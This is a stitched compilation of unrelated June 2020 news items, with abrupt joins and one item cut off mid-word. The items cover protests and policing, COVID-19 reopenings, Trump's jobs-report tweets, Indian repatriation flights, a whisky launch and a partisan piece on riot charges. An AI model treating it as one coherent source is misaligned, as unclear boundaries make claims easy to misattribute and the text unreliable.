The CDC also noted that extended exposure chemical crowd control might cause long-term problems to a person's eyes and breathing, including asthma.

Several organizations such as the Americal Civil Liberties Union (ACLU) have criticized law enforcement for their use of tear gas to control the crowds of protesters across the nation.

The director of the ACLU Human Rights Program, Jamil Dakwar, said that tear gas has become so common that it could escalate the problems of the situation. He considered the weapons to be severely indiscriminating and that they should not be used to silence a group of people protesting.

"It has become a first-resort weapon rather than a last resort," said Dakwar. He also shared his anticipations of the state and federal legislation to limit the use of the chemicals. The ACLU did not propose a full-fledged ban of the agent, but rather, to prioritize the use of de-escalation techniques.

Dakwar also shared his concerns for the police officers that were using the tear gas as they were also susceptible to its effects, albeit at a much lower rate.

Related Article: Trump Cinsiders Using Military Force If Protests Threaten More Lives and Properties

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Hasidic school in upstate New York found operating with hundreds of students inside

By Marcy Oster

(JTA)  A school in the Hasidic village of Kiryas Joel in New York was ordered to close after it was found operating with hundreds of students in its building.

Orange County said in a statement that officials visiting the school last week found what appeared to be hundreds of students inside, not wearing personal protective equipment, not social distancing, and plainly in violation of the Governors Executive Orders, the Times Herald-Record reported. The county health departmen...
President Donald Trump congratulated himself Friday on a new jobs report that showed an unexpected reduction in U.S. unemployment even at at time when the nation is reeling from the impacts of the coronavirus.

Trump sent out a series of exclamatory tweets after getting the good news, and promptly scheduled a press conference to talk about it.

'Really Big Jobs Report. Great going President Trump (kidding but true)!' Trump wrote.

'Market up Big!!!' Trump wrote in another tweet, as the Dow jumped more than 700 points immediately following the news.

President Donald Trump tweeted out shock at the unexpected drop in unemployment and promptly scheduled a news conference Friday

He also blasted out stunned reactions from market-watchers. 'THESE NUMBERS ARE INCREDIBLE! @MariaBartiromo,' Trump wrote, tagging the Fox Business News host who recently interviewed him.

'This is an AMAZING JOBS REPORT! Edward Lawrence @FoxNews,' Trump wrote, tagging a Fox Business journalist.

Employment figures unexpectedly rose by 2.5 million in May and the jobless rate declined to 13.3 percent, according to a stunning jobs report that showed the country's unemployment rate dropped during the COVID-19 pandemic.

'Great going President Trump' President Trump tweeted, adding parenthetically 'kidding but true'

He tagged Fox Business host Maria Bartiromo in one tweet

The president congratulated Fox News commentator Charles Payne

Trump immediately took a partisan look at the numbers, claiming Democrats are 'worried' about the improved employment picture

Trump also tagged CNBC host Jim Cramer

Economists had been predicting that the Labor Department report on Friday would reveal the unemployment rate had increased to a record 20 percent and about eight million jobs had been lost.

Trump didn't save all his tweets for Fox Business. 'It is a stunner by any stretch of the imagination! @CNBC,' he wrote, tagging another financial network.

'Its a stupendous number. Its joyous, lets call it like it is. The Market was right. Its stunning! @jimcramer @CNBC,' Trump wrote.

Senate Democratic leader Charles Schumer said the multi-trillion stimulus passed by Congress 'helped get the economy going, but we need a lot more.'

'We need to double down,' he told MSNBC, saying a 13 per cent unemployment rate 'is not a time to get joyous.'

Trump's campaign manager Brad Parscale came out with a statement on the news even before the president was to face the cameras.

'The great American comeback is underway after the economy was artificially interrupted by the global pandemic. Doomsday economists had predicted a loss of 8.5 million jobs in May, but the economy roared back and added 2.5 million jobs instead, thanks to President Trumps leadership and the solid foundation his policies have laid,' Parscale said in a statement sent out by the campaign.

The report attributed the unexpected gains to 'a limited resumption of economic activity that had been curtailed in March and April due to the coronavirus (COVID-19) pandemic and efforts to contain it.'

Instead of the bad news being forecast, the Labor Department's closely watched monthly employment report showed the jobless rate dropped to 13.3 percent last month from 14.7 percent in April.

Nonfarm payrolls rose by 2.5 million jobs after a record plunge of 20.6 million in April.

President Donald Trump immediately took credit for the rise in jobs just moments after the report was released, tweeting: 'Really Big Jobs Report. Great going President Trump (kidding but true)!'

The Labor Department's closely watched monthly employment report on Friday showed the jobless rate dropped to 13.3 percent last month from 14.7 percent in April. Nonfarm payrolls rose by 2.5 million jobs after a record plunge of 20.6 million in April

The overall job cuts have widened economic disparities that have disproportionately hurt minorities and lower-educated workers.

Though the unemployment rate for white Americans was 12.4 percent in May, it was 17.6 percent for Hispanics and 16.8 percent for African-Americans.

The latest figures are a surprisingly positive reading in the midst of a recession that has paralyzed the economy in the wake of the coronavirus pandemic.

The May job gain suggests that businesses have quickly been recalling workers as states have reopened their economies following weeks long lockdowns.

Other evidence has also shown that the job market meltdown triggered by the coronavirus has bottomed out.

The number of people filing new claims for unemployment benefits has declined for nine straight weeks, according to weekly job numbers released on Thursday.
After successfully bringing back around 58,867 stranded Indians from across the world, the Government of India is all set to begin the third phase of the Vande Bharat Mission, with Air India opening the bookings of seven destinations from 5 PM on June 5. In the third phase, Air India will operate flights to evacuate Indians from the United States and Canada. The booking for the following places will begin on Friday:

New York

Newark

Washington

Chicago

San Francisco

Toronto

Vancouver

Vande Bharat Mission

As thousands of Indians were stranded abroad amid coronavirus pandemic and the subsequent lockdown that was imposed, the Government of India decided to bring them back to the country via aircraft and naval ships in a phased manner. Air India and its subsidiary Air India Express started operating international flights from May 7 onwards to repatriate stranded Indians from abroad. Between May 7 and June 1, Air India group has operated a total 423 inbound international flights under the mission, bringing 58,867 Indians back.

READ | Vande Bharat Mission: Air India's 7th flight leaves from Moscow to bring home 143 citizens

The first phase of the mission was set for 7 days starting from May 7 to rescue stranded Indians from over 11 countries including the UAE, Saudi Arabia, Kuwait, Qatar, Bahrain, Maldives, Singapore, and the US.

In the second phase of the mission, the Indian government brought back Indians from around 31 countries from May 16 to 22. However, the government extended the date for the second phase till June 13. More countries have been added in the second phase including Finland, South Korea, Belgium, New Zealand, Netherlands, Kenya, Mauritius, Spain, Myanmar, Maldives, Egypt, and Sri Lanka.

READ | Ticket prices set by Air India for flights under Vande Bharat Mission are reasonable: Puri

Fare details by Civil Aviation Minister

Amid controversy over the ticket prices set by Air India for special international flights being operated under the Vande Bharat Mission, Civil Aviation Minister Hardeep Singh Puri on Thursday said that they are reasonable. The Minister shared a list of prices of various international flights to different locations on Twitter and said: "While rates being charged are not normal commercial rates, they are reasonable when compared to evacuation flights of other countries."

"Economy fare paid by travellers for evacuation flights organised by the concerned (US) Embassy from India was Rs 3.00 lakhs for Houston. Indians pay 1.03 lakh on India-US sector (flights) under the Vande Bharat mission which is nearly one third," Puri mentioned. Similarly, travellers paid 1.62 lakhs to Toronto and 1.84 lakhs to Vancouver for evacuation flights organised from India by the Canadian High Commission, the minister said.

READ | Vande Bharat Mission: Stranded Indians in Japan arrive at Narita Airport

Similarly, travellers paid 1.62 lakhs to Toronto & 1.84 lakhs to Vancouver for evacuation flights organised from India by the concerned High Commission.



Our citizens pay 1.07 lakhs between India & Canada on Vande Bharat flights.



The difference is stark.  Hardeep Singh Puri (@HardeepSPuri) June 4, 2020

READ | Vande Bharat Mission: Over 57,000 stranded citizens returned to India since May 6
Young graduates will soon be able to secure internships with municipal bodies across the country as the HRD and Urban Affairs ministries on Thursday launched a first of its kind programme that aims to harness the potential of the youth to better Indian cities.

The Urban Learning Internship Program (TULIP). Which was launched by HRD minister Ramesh Pokhriyal Nishank and Urban Affairs minister Hardeep Singh Puri aims to provide access to internship opportunities in 4400 Urban local bodies and smart cities pan India.

At the launch event, Pokhriyal lauded the efforts of the All India Council for Technical Education (AICTE) and the Urban Affairs ministries for the initiative. Urban Affairs minister Puri said that it is expected that 25000 fresh graduates will receive opportunity of internship in the first year itself. This will not only help the interns get hands on experience in the vast activities of urban local bodies but will also help to create a resource upon which the industry can draw easily for hiring.

TULIP Internship Portal: How to register, everything you need to know

TULIP was conceived pursuant to the Budget 2020-21 announcement by the Finance Minister Nirmala Sitharaman under the theme Aspirational India, an official statement said. The Government proposes to start a program whereby the urban local bodies across the country would provide internship opportunities to fresh engineers for a period up to one year, the finance minister had said in her budget speech.

This launch is also an important stepping stone for fulfillment of MHRD and AICTEs goal of 1 crore successful internships by the year 2025. Any graduate who have completed B. Tech, B. Arch, B. Plan, BSc etc. can apply within 18 months from the date of graduation.
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Many police officers are flouting state orders by not wearing face masks at mass demonstrations across New York City, frustrating city leaders and protesters who say the decision is deliberate and disrespectful.

Despite New York Gov. Andrew Cuomos order for all New Yorkers to wear a face covering in public to stop the spread of COVID-19and NYPD protocol that officers must complypolice officers have been spotted and photographed this week not wearing masks when interacting with protesters at crowded rallies for George Floyd, a black man who died after a white Minneapolis policeman pressed his knee into Floyds neck for nearly nine minutes.

Its symbolic, says Cynthia Godsoe, 49, who has participated in three protests since Sunday. They are blatantly snubbing us.

For more than two months, New York City was the epicenter of the COVID-19 pandemic, and only in the past two to three weeks has the states daily death toll dropped below 100. The citys daily death roll remains in the double-digits. The state Department of Health website warns that the virus continues to spread and that individuals are required to wear masks and to maintain a 6-foot distance from others in public spaces.

But at two daytime demonstrations in Brooklyn and at a massive protest at Foley Square in Manhattan, Godsoe says most of the police officers she saw had their faces exposed. On Thursday, she saw one police officer in Cadman Plaza Park in Brooklyn, where Floyds brother was attending a memorial, passing out face masks to protesters. Most of his colleagues around him were not wearing them, she said.

Its unsafe and disrespectful to the public, says Godsoe, a law professor who lives in Brooklyn. This is a rule we all have to follow, and theyre sending a terrible message.

Jack Marth, 56, also attended the Foley Square protest and noticed that most officers did not have their faces covered. To me, it indicates an arrogant disregard for the wellbeing of the communities they are supposed to be serving and protecting, says Marth, a Bronx attorney.

Story continues

Heres a crowd of NYPD officers with no masks and not practicing social distancing. An hour before a scheduled protest in Brooklyn support of justice for #GeorgeFloyd #COVIDWithoutCops pic.twitter.com/Sa3mMDZu2l  Andrea Ritchie (@dreanyc123) May 29, 2020

I counted at least 7 cops without masks, and a van with 5 or 6 cops without masks. #NYPD pic.twitter.com/RzlVrwrd7K  Arrest Breona Taylor's Killers (@ronkrasnow) June 4, 2020

Under internal protocol, New York City police officers are mandated to wear masks during the pandemic, according to NYPD Assistant Deputy Commissioner of Legal Matters Oleg Chernyavsky.

If theyre interacting with the public, theyre obligated to wear masks, Chernyavsky said at a virtual May 22 public safety committee hearing, which was video-recorded. We follow the direction from the Department of Health.

City police officers arent the only ones not wearing masks. Officers caught on video in an incident in Buffalo, N.Y., in which a 75-year-old man was pushed by a policeman onto the sidewalk, also were not masked. All of the helmeted officers had plastic shields on their headgear, but not all of them had their shields pulled down to cover their faces. The man who was shoved was wearing a mask.

Police at a protest demanding an end to racism and police brutality on June 4, 2020 in New York. | Tayfun CoskunAnadolu Agency/Getty Images

President Donald Trump also has failed to wear a mask, despite U.S. health officials urging the public to do so.

The NYPD has previously said it was hit hard by the pandemic, losing at least 43 members in the department to the coronavirus, which forced thousands more to call out sick.

Its unclear whether protocols have shifted since protests erupted in the city following Floyds death. In a brief and vague statement to TIME, the NYPD only said it was working as fast and safely as we can to process arrests during this unprecedented time. The citys police unions did not respond to requests for comment.

During a Friday interview with journalist Brian Lehrer, Mayor Bill de Blasio said he was frustrated that police officers were not donning masks and that theyre supposed to wear face coverings in public, period.

There is a double standard, the mayor said, and thats not good.

Guidelines by the U.S. Centers for Disease Control and Prevention (CDC) and the World Health Organization, issued as of Friday, say people should wear fabric face masks to prevent the spread of COVID-19 even if they are healthy. Since early April, the CDC has recommended wearing masks, which are supposed to cover both the nose and the mouth.

By not wearing face masks, police officers who are asymptomatic increase the risk of spreading the virus, according to Dr. Amesh Adalja, a senior scholar at the Johns Hopkins Center For Health Security, who specializes in infectious diseases.

NYPD officers arrest protesters during a demonstration against the killing of George Floyd by Minneapolis police on May 30, 2020 in Brooklyn.74 | Bryan R. Smith/AFPGetty Images

If police officers, who are infected with the virus, are shouting and yelling within 6 ft. of other people, they are emanating a lot of particles out of their mouth because they are speaking very forcefully, he says. That would facilitate asymptomatic transmission.

Adalja says he believes its probably a lower risk of transmission, since most asymptomatic transmissions are occurring in homes where theres closer contact. Face shieldswhich some police officers are wearingare more effective for those who are not exhibiting symptoms, Adalja says, but officers should be wearing masks at a minimum to prevent further spread.

If a state, if a county, if a city is telling the general public to wear masks, he says, then the police officers must follow that same law.

City Councilman Donovan Richards (D-Queens), who chairs the councils public safety committee, hounded police leaders last month to elaborate on the NYPDs protocols for wearing face masks on duty after witnessing police interactions in his community. He said its hypocritical that officers who were enforcing social distancing guidelines weeks ago are now the ones not wearing masks at mass gatherings.

There should be no one above the law, and this is why things have bubbled up, he says. The hypocrisy, it plays right into why this powder keg has ignited.
Premier Mark McGowan has urged people to go out and spend money in their own backyard, as tens of thousands of West Australians return to work on Saturday in light of eased pandemic restrictions.

From midnight, the Kimberley, Shire of Ngaanyatjarraku and parts of the East Pilbara will reopen to the public after the federal government lifted the Commonwealth biosecurity restrictions this week.

West Australian Premier Mark McGowan cleans the bar with Bar Bizu owner Jimmy Durante. Credit:AFR

A new 2-square-metre rule will also replace the current one person per 4 square metre requirement and indoor and outdoor gatherings of up to 300 people per venue will be allowed.

Venues will also be able to apply for an exemption to host more than 300 patrons.
President Jair Bolsonaro threatened Friday to pull Brazil from the WHO over "ideological bias," as his counterpart Donald Trump said the US economy was recovering from the coronavirus pandemic and Europe sought to reopen its borders. Adding fuel to the political fire raging around the pandemic, its origins and the best way to respond, Bolsonaro criticized the World Health Organization for suspending clinical trials of the drug hydroxychloroquine for COVID-19 -- a decision it reversed this week -- and threatened to follow in Trump's footsteps by quitting. "I'm telling you right now, the United States left the WHO, and we're studying that, in the future. Either the WHO works without ideological bias, or we leave, too," the far-right leader told journalists. Sometimes called a "Tropical Trump," Bolsonaro has followed a similar script to the US president in his handling of the pandemic, downplaying its severity, attacking state authorities' stay-at-home measures and touting the purported effects of hydroxychloroquine and a related anti-malarial drug, chloroquine, against COVID-19. The WHO had suspended trials of hydroxychloroquine after major studies raised concerns about its safety and effectiveness against the new coronavirus -- irking Trump, a fan who even took the drug himself as a preventive measure. On Thursday, most of the authors of the studies that appeared in The Lancet and the New England Journal of Medicine retracted their work, saying they could no longer vouch for their data because the firm that supplied it refused to be audited. However, adding to the swirling scientific and political debate, a new study from Oxford University said Friday that hydroxychloroquine showed "no beneficial effect" in treating COVID-19. In another potentially confusing reversal, the WHO changed its advice on face masks, saying that "in light of evolving evidence" they should be worn in places where the virus is widespread and physical distancing is difficult. - US 'largely through' - The new coronavirus has now killed more than 394,000 people and infected 6.7 million since it emerged in China late last year, the world's worst health crisis in more than a century. In the US -- the hardest-hit country, with 109,000 dead and nearly 1.9 million infections -- Trump said the economy was bouncing back after being pummeled by lockdown measures. "We had the greatest economy in the history of the world. And that strength let us get through this horrible pandemic, largely through, I think we're doing really well," he told reporters. Trump, who is facing a tough campaign for re-election in November, reiterated his calls to further ease stay-at-home measures, after surprisingly upbeat employment numbers showed the country gained 2.5 million jobs in May. In a sign of the slow return to normal in the US, Universal Orlando became the first of the giant theme parks in sunny Florida to reopen -- albeit with temperature controls at the entrance and mandatory face masks. - EU to reopen borders - In Europe, badly-hit countries slowly continued on a path toward a post-pandemic normal, seeking to revive key tourist sectors in time for the summer season without triggering a second wave of infections. The EU said it could reopen borders to travelers from outside the region in early July, after some countries within the bloc reopened to European visitors. In France, a top expert meanwhile said dramatic drops in daily deaths and new cases since their March peaks meant the worst was over. "We can reasonably say the virus is currently under control," said Jean-Francois Delfraissy, the head of the government's scientific advisory council. - Shifting epicenter - But bleak numbers streamed in from Latin America, the latest epicenter. Brazil's death toll rose to more than 35,000, the third-highest in the world, after the United States and Britain. Tolls are also rising sharply in Mexico, Peru and Ecuador. And in Chile, deaths have risen by more than 50 percent in the past week, despite a three-week lockdown of the capital, Santiago. burs-jhb/mtp
She has a point. We can get very nerdy about the different types of cork and synthetic closures, their environmental virtues and how they protect against cork taint or allow precisely the right amount of oxygen into the wine to allow it to age properly. Mrs Bates likes her corks spongy, with a bit of a spring when you squeeze on either end, and a ring of color around the base. That ring, either red or a wet stain from a white wine, indicates the bottle was stored on its side or upside down, the wine in contact with the cork. Thats conventional wisdom for proper storage, and explains why wine racks hold bottles horizontally.
Glasgow Distillery Commemorates 1725 Malt Tax Uprising with new blended malt whisky

Glasgow Distillery has announced the launch of its new Malt Riot Blended Malt Scotch Whisky.

Malt Riot is a selected blend of handpicked single malts from across Scotland, with the distillerys Glasgow 1770 Single Malt sitting at the heart of the spirit.

The new whisky re-tells the story of the malt tax protests that took place in 1725, which demanded the tax on malted barley be overturned. In Glasgow, malt stores were barricaded, and the home of Daniel Campbell, the local member of parliament and former Collector of Taxes for the Port of Glasgow who originally supported the introduction of the malt tax, was destroyed.

In a bizarre twist of fate, Daniel Campbell was compensated for the damage by the city of Glasgow and used the money to purchase the island of Islay and part of Jura. He encouraged local farmers to seed surplus barley and ignited the legal production of single malt scotch whisky, which was to spread over time across Scotland.

Malt Riot celebrates this story of unity by bringing together a range of single malts from across the Scottish whisky regions and blending them together as one.

On the nose, Malt Riot offers notes of freshly planed oak, sweet vanilla slices and hints of floral hyacinth. Toffee apples open up the palate, followed by dry spices and caramelised pineapple, leading to a light and smooth finish with ripples of milk chocolate, fruit and nut.

Liam Hughes, CEO and Co-Founder of The Glasgow Distillery Company said: The story of the malt riots is a really powerful one for us to tell. Not only does it heavily involve the people of Glasgow taking a stand for what they believe in, but it was a catalyst that helped forge the Scotch Whisky industry as we know it today.

This story has been largely forgotten and is not widely known until now and is a wonderful example of the fiery passion and determination that continues to live on in our city. Glasgow is a city full of passionate people, who constantly stand up for what they believe in, igniting positive change at home and across the world; I guess its true what they say, people really do make Glasgow!

Malt Riot Blended Malt Scotch Whisky is bottled at a strength of 40% ABV and is now available for purchase from the Glasgow Distillery website & independent retailers at an RRP of 25 per bottle.

3 June 2020 -
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The anti-police brutality protests sparked by the police killing of George Floyd in Minneapolis continued for a ninth day in Los Angeles.

One of the protests started at noon in Grand Park, across the street from L.A. City Hall, and expanded to the streets of downtown. As night approached, the protest continued to grow.

This particular protest was promoted by members of LA's Ethiopian community. There were dozens of Ethiopian Americans in the crowd, some waving Ethiopian flags or wearing them. They said they were there to represent African immigrants who, like the rest of the black community, still live under the threat of police violence.

"We want America to be better, we want America to do better for everyone," said Tadios Belay, an Ethopian immigrant who joined today's march. "The African community has also been impacted by police violence in this country... so, this is also our issue."

Supporters on a balcony at the Skyline Building in downtown Los Angeles bangs pots and pans together as protestors walk by. (Chava Sanchez/LAist)

Another protestor, Ephram Getaneh, joined the march for similar reasons.

"This is my home. And my future kids, it will be their home," he said. "And it does affect me every single day. Every time I'm out, every time I'm driving, I'm always looking behind my back to see if I'm going to get pulled over for no reason."

Peaceful protesters gathered outside L.A. City Hall Thursday on the ninth day of demonstrations following the police killing of George Floyd in Minneapolis. (Chava Sanchez/LAist)

National Guard members and LAPD officers could be seen standing in front of nearby buildings. Several National Guard members were also spotted taking photographs of protestors.

The protests today were peaceful, with no reports of police violence or looting.

National guard members watch the protests in front of a Starbucks. (Chava Sanchez/LAist )

A National Guard member takes photos of marchers at a peaceful protest in downtown L.A. June 4, 2020. (Chava Sanchez/LAist)

"I just feel like everyone out here is just helping the community," said 18-year-old Able Tefera. "After all this stuff, we got all four officers arrested, we still need to do more," he said, referring to the officer who killed Floyd and those who were also on the scene.

Around 5 p.m., NBC4 video captured Los Angeles Police Chief Michel Moore walking outside LAPD headquarters straight to the protesters to take a knee.

#BREAKING: Outside of @LAPDHQ, @LAPDChiefMoore takes a knee then speaks one-on-one with demonstratorsand with us. Hear what he has to say only on @NBCLA tonight at 5/6 and 11pm. pic.twitter.com/P432TcIFQG  Robert Kovacik (@RobertNBCLA) June 4, 2020

Moore apologized for his remarks comparing looting to the killing of George Flyod, but some protesters strongly rejected that apology. One person asked the chief what he will do to address institutional racism in the department.

My Apology for Remark Regarding the Death of George Floyd During a Press Conference Earlier Today:



I misspoke when making a statement about those engaging in violent acts following the murder of George Floyd.  Chief Michel Moore (@LAPDChiefMoore) June 2, 2020

Moore said he is focused on listening and "finding an opportunity to learn about those pains about those injuries, and about the centuries old racism and supression and state violence."

This comes a day after many Angelenos called for Moore's resignation at the Los Angeles Police Commission's Zoom meeting, where over 500 people signed up to make public comment. The meeting lasted for 8 hours and 34 minutes. Several speakers brought up LAPD's use of tear gas and rubber bullets on peaceful protestors.

Marching downtown. June 4, 2020. (Chava Sanchez/LAist)

Protestors called for an end to police brutality following the killing of George Floyd at the hands of a white police officer. (Chava Sanchez (LAist))

Protesters share hand sanitizer and informational resources. June 4, 2020. (Chava Sanchez/LAist)

(Chava Sanchez/LAist)

(Chava Sanchez/LAist)

EVENTS LATER IN THE WEEK:

Note: These are not necessarily confirmed.

Friday:

Santa Monica City Hall, starting at 1 p.m.

Sunday June 7:

George Floyd Memorial: First Baptist Church of Venice on Westminster Avenue, starting at 12 p.m.

Tuesday June 9:

Los Angeles, from Veterans Park to LAPD Headquarters downtown, starting at 1 p.m.

Sunday June 14:

Los Angeles at Hollywood and Highland, starting at 10 a.m.

HOW WE'RE COVERING THIS:

Reporter Aaron Schrank and photojournalist Chava Sanchez are at City Hall covering events as they unfold. LAist associate editor Brian Frank and Digital Producer Gina Pollack are helping keep this story updated.

MORE ON LA PROTESTS



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Linkedin Sausan Atika (The Jakarta Post) Jakarta  Fri, June 5, 2020 06:56 595 fc6853813033f564188675f8bdc3e033 1 City house-of-worship,Jakarta-COVID-19,PSBB,transition,new-normal,reopening-plan Free

Jakarta, the first epicenter of the COVID-19 epidemic in Indonesia, is claiming a reduction in the rate of infections and welcomes a period of fewer restrictions, including the reopening of houses of worship, beginning on Friday.

Activities at houses of worship may resume [...] but only for routine activities, and [attendees] must follow health protocols, Jakarta Governor Anies Baswedan said on Thursday.

Houses of worship include mosques, mushola (Muslim prayer rooms), churches, viharas, temples and klenteng (Chinese temples), Anies said during a live-streamed press conference announcing the extended but relaxed large-scale social restrictions (PSBB).

Among several rules governing religious rites at places of worship, attendees are required to maintain a safe distance of 1 meter from others and clean up before and after their prayers.

Room capacity will be halved, and opening hours will be restricted to activities considered routine.

For the citys many mosques and mushola, attendees must bring their own prayer mat and bag for footwear storage, as the usual cubbyhole services are still suspended.

The move comes as the Jakarta administration extended its PSBB status with additional provisions to gradually ease restrictions throughout the month of June. During this transition period, Anies vowed, the city would undo the reopening of various places should case numbers surge again.

Munahar Muchtar, the chairman of the Indonesian Ulema Councils (MUI) Jakarta chapter, said Muslims in the capital would be allowed again to observe mass Friday prayers, with the exceptions of areas declared as infection red zones.

In the community units [RW] declared as red zones, we dont recommend any resumption of activities at mosques to prevent contagion, Muhahar said in a press conference on Thursday.

The Jakarta administration has revealed that 66 RW, or 2.48 percent of the citys total number of community units, are considered red zones due to the growing number of cases.

Aside from the capital, Jakartas satellite cities also have plans to reopen houses of worship.

The Banten administration has issued a decree detailing a transitional phase of the PSBB that ushers in the so-called new normal for the municipalities of South Tangerang and Tangerang as well as Tangerang regency.

The decree stipulates that places of worship may resume their activities, although details of the protocol would be prescribed in separate regulations.

Other regions, particularly in agglomeration areas spilling into West Java, such as Depok, Bekasi and Bogor, have also hinted at a gradual reopening of places of worship in select areas.

The move follows the issuance of Religious Affairs Ministry guidelines for reopening places of worship last Friday.

Houses of worship must set the best example on curbing the spread of COVID-19, Minister Fachrul Razi said recently.

In largely conservative Indonesia, where religion plays a significant role in the fabric of society, worshipers have had to refrain from mass religious gatherings to curb the spread of the disease.

Places of worship have proven to be a fertile breeding ground for COVID-19. A recent report from the Institute for Policy Analysis of Conflict found that the lack of an early response to ban mass religious gatherings had contributed to the emergence of infection clusters in South Sulawesi and West Java.

The city of Brebes in Central Java was designated a COVID-19 red zone early last month after 16 of its residents had tested positive for the disease upon returning from an Islamic event in Gowa, South Sulawesi, while 127 people were infected at a church seminar in Lembang, West Java.

Indonesians have since turned to virtual congregations as the outbreak temporarily shuttered various houses of worship, even though a government ban on public congregations did little to stop people from observing mass Idul Fitri prayers last month.

But the governments plan to gradually reopen places of worship has also drawn mixed responses from the general public, with many insisting that any possible easing of curbs anywhere should be contingent on low risk of transmission.

Religious groups have urged local administrations and the public as a whole to enforce health protocols during mass prayers.

Robikin Emhas, chairman of the countrys largest grassroots Muslim organization, Nahdlatul Ulama, said health protocols should be observed as a part of ikhtiar (religious effort) to maintain ones health and safety.

That is also Gods commandment, he told The Jakarta Post.

The chairman of the nations second-largest Muslim group, Muhammadiyah, Haedar Nashir, said the group had called for Muslims in red zones to continue observing prayers at home.

In green zones that are considered "safe" from infection, sunnah (optional) and fardhu kifayah (collective obligations) prayers may also be observed at home if the other rites had been completed, Haedar said.

[Muslims] should prioritize their health, weigh the benefits [of their actions] and account for safety and security considerations [] to prevent mafasadat [harm] and to curb COVID-19 transmission, he said in a circular distributed on Thursday.

Concerns about the transitional policy are not limited to the nations Muslim majority.

Jandi Mukianto, the vice chairman of the Council of Buddhist Communities (Walubi), stressed that regions with plans to reopen houses of worship had to be able to guarantee that health protocols were implemented.

"[Local administrations and the public] should also be prepared to close them again should cases surge again," he told the Post.

Indonesian Communion of Churches (PGI) chairman Gomar Gultom has urged church administrators not to resume activities without first implementing the necessary health protocols.

There is no guarantee that people who go to church are free from COVID-19, he said.
Kate Garraway fought back tears as she said she doesnt know if her husband Derek Draper will ever recover after battling the coronavirus.

The presenter returned to ITVs Good Morning Britain on Friday to update fans on Draper, who has been in a coma for 10 weeks after contracting the illness.

The emotional star said Draper was now COVID free but that the virus had wreaked extraordinary damage on his body.

Derek Draper and Kate Garraway. (PA)

File photo dated 10/01/08 of Kate Garraway and her husband Derek Draper. Kate Garraway has shared an update on the condition of her husband, who is being treated in hospital for the coronavirus, to say he "remains in intensive care and is still very ill".

We don't know if he can recover from that, said the 53-year-old, who has son Billy, 10, and daughter Darcey, 14, with Draper.

Read more: Kate Garraway's 'GMB' colleagues voice support after husband is hospitalised

Speaking to GMB colleagues Ben Shephard and Ranvir Singh, Garraway said it was a miracle that her husband was still alive and that she was hoping for another one.

'You have to think to yourself there is hope.'



'It's about carrying on with life when you don't know life is certain.'



Kate Garraway, her family and all of us are hoping for her husband Derek's full recovery from coronavirus.



Read the full story herehttps://t.co/17ArcckJVn pic.twitter.com/og5dXIhySj  Good Morning Britain (@GMB) June 5, 2020

She said: Hes still with us, he has fought the most extraordinary battle and I hate the idea of fighting a battle because it is a battle, but the fact hes still holding on, I hate the idea that other people havent fought hard enough.

Im just so grateful hes still here.

But hes very, very sick its affected him from the top of his head to the tip of his toes.

The presenter said she still has huge hope and massive positivity.

Ill never give up on that, because Dereks the core of my life and our lives, she said. But at the same time, I have absolute uncertainty and the doctors dont know. One doctor said to me that hes the worst affected person hes had to treat thats lived.

Story continues

Its an evil virus, she said.

Kate Garraway and her husband Derek Draper arrive at the National Television Awards 2007. (Dave M. Benett/Getty Images)

Garraway went on: The doctors talk in double negatives. You have to take comfort from the double negatives. They say We cant say he cant recover, we don't know if he can recover and we dont know how long it will take.

So from that you take terrible uncertainty and have to find good in it. You say to yourself, There is hope and possibility.

The presenter said nobody knows how long it could take for Draper to recover.

One doctor said it could be up to a year which feels unthinkable, but we are praying there will be progress before then, she said.

Kate Garraway, alongside her husband Derek Draper and two children Darcey and Billy, arrives back at Heathrow Airport after the 2019 series of I'm A Celebrity ... Get Me Out Of Here!

Garraway shared that Draper was taken to hospital in an ambulance in March after telling his children: Youre the best children anyone could ask for, be good to Mum, look after her.

Doctors decided to put him into a coma and beforehand he told Garraway: I love you, Im sorry I have to leave you.

She told viewers: He said, Youve saved my life - I think he thought Id persuaded the doctors to put him in a coma, and he said I think youve saved my life, I dont mean just now, I mean being married to you and the children and everything.

Read more: Piers Morgan tests negative for the coronavirus

Garraway said she had been overwhelmed by the support she has received from friends and viewers since Draper became ill.

You see a lot of really good in people in the midst of all this, she said.

Garraway and Draper, 52, have been married since 2005
A two-day capacity building workshop aimed at facilitating effective and collaborative implementation of an adolescent girls empowerment project has opened in Kumasi.



It is being attended by community-based organizations, health workers, media and other non-state actors drawn from the project implementing communities.



The adolescent empowerment project, which is being implemented by Alliance for Reproductive Health Rights (ARHR), aims at helping to identify and provide adolescent needs of girls in the country.



It is being implemented in five regions of the country under the theme: Empowering Adolescent Girls through improved access to reproduction health information and services and quality gender responsive services.



The goal is to improve access to information on reproductive and gender-responsive health services for out-of-school girls between the ages of 10 and 19 years.



It is also to empower adolescent girls to make informed decisions on their reproductive health and rights, as part of a comprehensive strategy to address teenage pregnancy.



The five-year project, which started in 2018, is being funded by the United Nations Population Fund (UNFPA) and the Canadian government.



The beneficiary districts are Komenda-Edina-Eguafo-Abirem district in the central, Bosome-Freho district in Ashanti, South Dayi in Volta, Nzema East in Western and Ashiedu-Keteke sub-district in the Greater Accra region.



Mr. Nii Ankonu Annorbah-Sarpei, Programme Director of ARHR, speaking at the opening session underlined the need to sensitize adolescent girls on sexual reproductive health and rights.



This, according to him would position them well to make informed choices on their reproductive health to prevent unwanted pregnancies.



Mr Annorbah-Sarpei explained that girls could make the right choices and control their sexual behaviour if they were provided with accurate and relevant information on their reproductive health to make them more assertive.



Ms. Doris Ampong, Communication Officer at the ARHR, said already sensitization programmes on gender-responsive topics relating to sexual reproductive health for over 5,000 adolescent girls had been undertaken with about 2,000 of them recommended for health facility and outreach contraceptive services.



In addition, about 25 girls with disabilities have been trained on sexual reproductive health rights and legal literacy.

Source: GNA









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(Natural News) Lots of people are showing up at protests across the country with the intention of expressing their outrage over the death of George Floyd peacefully, but some are very clearly coming with violence in mind  and one man is now facing federal charges after livestreaming videos of himself proudly carrying out violent acts on Facebook.

Matthew Lee Rupert, 28-years-old, of Galesburg, Illinois, has been charged with participating in and organizing riots, civil disorder and the possession of unregistered explosives. Rupert posted an invitation on his public Facebook page asking for fellow goons to travel with him to Minneapolis, where he said he planned to rent hotel rooms, wreak havoc and take hella good videos.

Rupert made good on his promise, with livestreamed videos showing him participating in riots and distributing explosives. The video of his misdeeds is more than two hours long, and at one point, he explicitly stated that he had bombs.

In the video, which FBI investigators have cited as evidence in their complaint, Rupert can be heard saying things like, We came here to riot. At one point, he is seen handing another rioter an explosive device and telling that person to throw it at SWAT officers. Hes throwing my bombs theyre going to bomb the police with them, he bragged.

